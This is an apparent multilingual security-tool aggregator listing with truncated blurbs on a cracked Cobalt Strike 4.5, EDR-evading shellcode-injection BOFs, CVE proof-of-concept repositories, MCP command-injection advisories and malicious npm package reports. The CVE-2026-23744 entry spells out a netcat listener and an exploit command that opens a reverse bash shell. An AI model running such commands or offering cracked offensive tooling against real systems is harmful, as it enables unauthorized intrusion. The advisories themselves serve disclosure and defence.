cobaltstrike4.5_cdf-1

cobaltstrike4.5cdf cobaltstrike4.5 버전 크랙, checksum8 특성 제거, BeaconEye 우회, 오류 경로 stage 누출 수정, totp 2단계 인증 추가, 사용자 이름 암호화 표시 추가, 4.5 버전 foreign 파생 오류 버그 수정, 클라이언트 구성 파일 이름 변경 등 cobalt strike4.5 크랙 cobaltstrike4.5 크랙 TOC 면책 고지\면책 협의 이 도구와 문서 내용은 보안 연구에만 한정됩니다. 사용자는 이 도구와 문서 내용을 사용함으로써 발생하는 모든 법적 및 관련...

spawn

SPAWN - Cobalt Strike BOF Cobalt Strike BOF로, 희생 프로세스를 생성하고, 쉘코드를 주입한 후 페이로드를 실행합니다. Arbitrary Code GuardACG, BlockDll, PPID 스푸핑을 사용하여 희생 프로세스를 생성함으로써 EDR/UserLand 후킹을 우회하도록 설계되었습니다. ACG로 인해, 이 BOF는 다음 기능에 의존하는 쉘코드를 지원하지 않습니다: RW/RX 간 메모리 권한 전환. RWX 메모리 위 기능에 의존하는 생성된 프로세스에 쉘코드를 주입하려면 Hollow BOF...

process-inject-kit

Process Inject Kit これは、Cobalt StrikeのProcess Inject KitをCからC++ BOFテンプレートへ移植したものです。 仕組み 組み込みのfork and runプロセスインジェクション技術は、PROCESSINJECTSPAWNフックとPROCESSINJECTEXPLICITフックで変更できます。 このリポジトリは以下を提供します。 組み込み技術を実装したソースコード。 フックを実装するアグレッサースクリプト。 コンパイルして配布ディレクトリを生成するVisual Studioソリューション。 PROCESSINJECTSPAWN...

NocoBase - VM Sandbox Escape to Remote Code Execution

NocoBase Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist controlled by WORKFLOWSCRIPTMODULES env var. The console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console.stdout and...

CVE-2016-5636

CVE-2016-5636 CVE-2016-5636에 대한 PoC로, Python 3.6의 힙 오버플로입니다. 이 저장소에는 다음이 포함됩니다: crash-with-zip : 신뢰할 수 없는 zip 파일을 읽어 충돌시키는 PoC google-web-engine : google web engine에서 작동하는 충돌 PoC spawn-shell : 셸을 실행하기 위한 로컬 익스플로잇...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector 인증되지 않은 RCE MCPJam Inspector -i -p -m 역방향 셸 예제 1단계 — 리스너 시작: root@kitploit: nc -lvnp 4444 2단계 — 익스플로잇 실행: root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash 페이로드 방법 대상에서 busybox가 작동하지 않으면 다른 방법을 시도하세요: root@kitploit: bash...

CVE-2022-22814_PoC

权限提升 - AsusSystemDiagnosis.exe - Proc39 完整路径: C:\WINDOWS\System32\DriverStore\FileRepository\asussci2.infamd64d385bdc0d33d66f9\ASUSSystemDiagnosis\AsusSystemDiagnosis.exe 问题: 由 AsusSystemDiagnosis.exe 暴露的 ALPC 端口 \RPC Control\ASHWTestServer 对所有用户完全可访问。通过此端口调用 RPC 的 Proc39 会在当前用户会话中生成一个以 SYSTEM...

mcpshield

mcpshield 未パッチのMCP STDIOコマンドインジェクション脆弱性（CVE-2026-30623ファミリー、2026年4月にOX Securityによって「仕様」として開示、SDKパッチはなし）に対するドロップイン修正です。1行インポートするだけで、Pythonアプリが起動するすべてのstdio MCPサーバーは、OSがプロセスを生成する前にコマンド/引数/環境変数が検証されます。 初めての方は、まずスコープを読み、次にインストールとはじめにを読めば、2分以内に保護されます。 目次 プロジェクトの状態 スコープ インストール はじめに オプションA: 自動パッチ（Python...

CVE-2026-23744-PoC

CVE-2026-23744-PoC 免责声明： 本概念验证（PoC）仅供 授权的安全研究、教育目的和受控实验室环境（例如 HTB、CTF 或经明确书面同意的内部渗透测试）使用。未经许可对任何系统进行未授权使用是非法且不道德的。作者对滥用不承担任何责任；用户应全权负责遵守所有适用法律法规。 描述 CVE-2026-23744 是 MCPJam Inspector（版本 ≤ 1.4.2）中的一个未认证命令注入漏洞。 /api/mcp/connect 端点接受包含 serverConfig.command 和 serverConfig.args 的 JSON...

CVE-2026-79748

MCPHub , a hub for centrally managing and orchestrating multiple MCP servers/APIs, contains a command injection vulnerability in the POST /api/servers and PUT /api/servers/:name endpoints prior to version 0.12.15. These endpoints spawn configured stdio processes via child_process.spawn but lack a...

CVE-2026-79748 MCPHub: Authenticated non-admin user achieves RCE via POST /api/servers (missing authorization on stdio command/args)

MCPHub is a unified hub for centrally managing and dynamically orchestrating multiple MCP servers/APIs into separate endpoints with flexible routing strategies. Prior to version 0.12.15, the POST /api/servers and PUT /api/servers/:name endpoints in MCPHub create/update MCP server configurations a...

CVE-2026-79748 MCPHub: Authenticated non-admin user achieves RCE via POST /api/servers (missing authorization on stdio command/args)

MCPHub is a unified hub for centrally managing and dynamically orchestrating multiple MCP servers/APIs into separate endpoints with flexible routing strategies. Prior to version 0.12.15, the POST /api/servers and PUT /api/servers/:name endpoints in MCPHub create/update MCP server configurations a...

zygote-CVE-2024-31317

Zygote Toolkit - CVE-2024-31317 이 툴킷은 CVE-2024-31317을 사용하여 ADB를 통해 비공개 앱 데이터를 추출하거나 앱의 UID로 셸을 실행합니다. 이 취약점은 보안 패치 수준이 2024-06-01 이하인 Android 914 버전에 영향을 미칩니다. 테스트된 기기의 지원 매트릭스는 아래에서 확인할 수 있습니다. 사전 요구 사항 Debian/Ubuntu 시스템 패키지 root@kitploit: sudo apt update sudo apt install adb...

CVE-2026-52617

CVE-2026-52617 — @sworddut/mcp-ffmpeg-helper: ffmpegツールオプションを介したOSコマンドインジェクション runFFmpegCommand は、MCPツールのパラメータから構築した文字列を spawn…, shell: true に渡すため、options、format、codec、pixelFormat、extraOptions に含まれるシェルのメタ文字が、サーバーを実行しているホスト上で実行されます。 ⚠ 修正版は存在しません 2026-08-22現在、最新のnpmリリースは 0.2.1 であり、これが影響を受ける...

Malicious code in supersignaturenature (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ab1df02839294b29ff278b7a80505be50de75eb0f317f4bf29635236a75e4b15 The published dist/ bundles main/module/browser entrypoints contain code absent from the src/ tree: at library load they read an encrypted rsaToken...

MAL-2026-15560 Malicious code in supersignaturenature (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ab1df02839294b29ff278b7a80505be50de75eb0f317f4bf29635236a75e4b15 The published dist/ bundles main/module/browser entrypoints contain code absent from the src/ tree: at library load they read an encrypted rsaToken...

CVE-2026-81097

The executeruby tool is documented as a read-only Ruby sandbox and is enforced by a pattern denylist together with replacements for the process-spawning methods on Kernel. The pseudo-terminal library's spawn entry points are neither in the denylist nor replaced, so a normal tool call could reach...

EUVD-2026-67025

The executeruby tool is documented as a read-only Ruby sandbox and is enforced by a pattern denylist together with replacements for the process-spawning methods on Kernel. The pseudo-terminal library's spawn entry points are neither in the denylist nor replaced, so a normal tool call could reach...

Astra Linux – Vulnerability in Linux, Linux 5.10

In the Linux kernel, the following vulnerability has been resolved: scsi: core: Fixed improper pointer dereferencing when the error handler kthread is invalid. The commit 66a834d09293 “scsi: core: Fixed error handling of scsihostalloc” changed the allocation logic to call putdevice to perform hos...

Malicious code in @next-fonts/font (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e536e77176d5fb4637105c50280763e82a6a273dd7de35bb82da340b0f71163 @next-fonts/font is a typosquat of Next.js's @next/font. Its exported Inter function mimicking next/font/google decodes a base64 blob via atob, then...